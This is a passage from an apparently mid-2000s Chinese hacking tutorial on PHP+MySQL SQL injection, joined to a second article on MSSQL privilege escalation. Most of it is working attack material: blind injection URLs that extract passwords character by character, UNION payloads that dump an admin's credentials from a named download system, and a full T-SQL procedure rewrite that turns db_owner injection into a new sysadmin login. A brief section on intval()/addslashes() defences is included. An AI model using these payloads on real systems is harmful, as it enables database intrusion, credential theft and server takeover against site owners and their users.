# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。
其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:
SELECT * FROM user WHERE userid=userid
按照正常的,提交:
http://127.0.0.1/injection/user.php?userid=1
就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:
http://127.0.0.1/injection/user.php?userid=1 and password=mypass
绝对错误,因为mypass是字符串,除非提交:
http://127.0.0.1/injection/user.php?userid=1 and password='mypass'
由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)
正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)
正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)
又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)
而原来已经猜好的不用改变了,很快就可以猜完:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)
然后在mysql>命令提示符下或者在phpMyadmin里面执行:
select char(109,121,112,97,115,115)

然后在mysql>命令提示符下或者在phpMyadmin里面执行:
select char(109,121,112,97,115,115)
就会返回:mypass

当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:
http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)
我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112
这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。
3、快速确定未知数据结构的字段及类型
如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char(97)表示字母“a”,如下:
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”,如图:
判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。
4、猜数据表名
在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1
返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user
如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。
但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:
site_article
site_user
site_download
forum_user
forum_post
……
如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……
实例
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。
首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
正常返回,如图,如果URL不清楚可以看标题那里:
嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:
if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码
else:
echo "<p><center><a href=./list.php>无记录</a></p>\n";
也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。
CREATE TABLE ymdown (
id int(10) unsigned NOT NULL auto_increment,
name varchar(100) NOT NULL,
updatetime varchar(20) NOT NULL,
size varchar(100) NOT NULL,
empower varchar(100) NOT NULL,
os varchar(100) NOT NULL,
grade smallint(6) DEFAULT '0' NOT NULL,
viewnum int(10) DEFAULT '0' NOT NULL,
downnum int(10) DEFAULT '0' NOT NULL,
homepage varchar(100), demo varchar(100),
brief mediumtext, img varchar(100),
sort2id smallint(6) DEFAULT '0' NOT NULL,
down1 varchar(100) NOT NULL,
down2 varchar(100),
down3 varchar(100),
down4 varchar(100),
down5 varchar(100),
PRIMARY KEY (id)
);
用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交:
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
结果成功返回了我们所需要的用户名和密码,如图:
http://www.4ngel.net/img/php11.gif
验证测试结果
整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码
用select char(49,50,51,52,53,54)就可以得到123456。
OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是“专业”一点好了。下面补一幅截图,是本文写完后,重新测试HB时截取的:

注入的防范
防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:
$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");
或者这样写:
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")
不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:
$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");
或者这样写:
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")
使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?
后记
这篇文章是我自2004年3月份以来利用课余时间学习研究的,5月中旬写完,里面的所有东西都是经过我亲自测试的,本文仅仅算是技术总结吧,还有很多技术难点没有解决的,因此错漏是难免的,欢迎请大家指正。
还有不少危险性极高的东西,只要少数条件成立,一般都可以进入服务器,考虑到严重性和广泛性,我并没有写出来,我个人估计,不久将会出现PHP+MYSQL注入的一系列工具,技术也会普及和告诉发展。但我建议大家一定要弄清楚原理,工具只是武器,技术才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。
大家看到这篇文章的时候,估计我已经高考完了,暑假我会写一篇更深入的研究。
为了让更多人了解并掌握PHP+MYSQL的注入技术,我才写了这篇文章,并决定发表,再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。
msSQL注入通杀,只要有注入点就有系统权限
作者:华夏blog 文章来源:liuyes.77169.com
不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount 〉 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret 〈〉 0)
return (1)
if (charindex(’\’, @loginame) 〉 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret 〈〉 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) 〈〉 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt 〈〉 ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error 〈〉 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(’use master grant all to null’)
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq
再drop procedure sp_addsrvrolemember,然后在IE里输入
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount 〉 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = ’sa’
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ’sysadmin’ THEN 16
WHEN ’securityadmin’ THEN 32
WHEN ’serveradmin’ THEN 64
WHEN ’setupadmin’ THEN 128
WHEN ’processadmin’ THEN 256
WHEN ’diskadmin’ THEN 512
WHEN ’dbcreator’ THEN 1024
WHEN ’bulkadmin’ THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret 〈〉 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(’use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO
接着再exec master..sp_addsrvrolemember xwq,sysadmin
这样就建立了一个SA用户了,用SQL连接器连接上就OK了。很爽吧。不过在实践过程中发现用NB的SQL命令执行时会提示发送错误,可能是代码太长了的缘故,用IE又不方便,希望哪位能发个执行SQL语句的工具来方便大家。OK,到此结束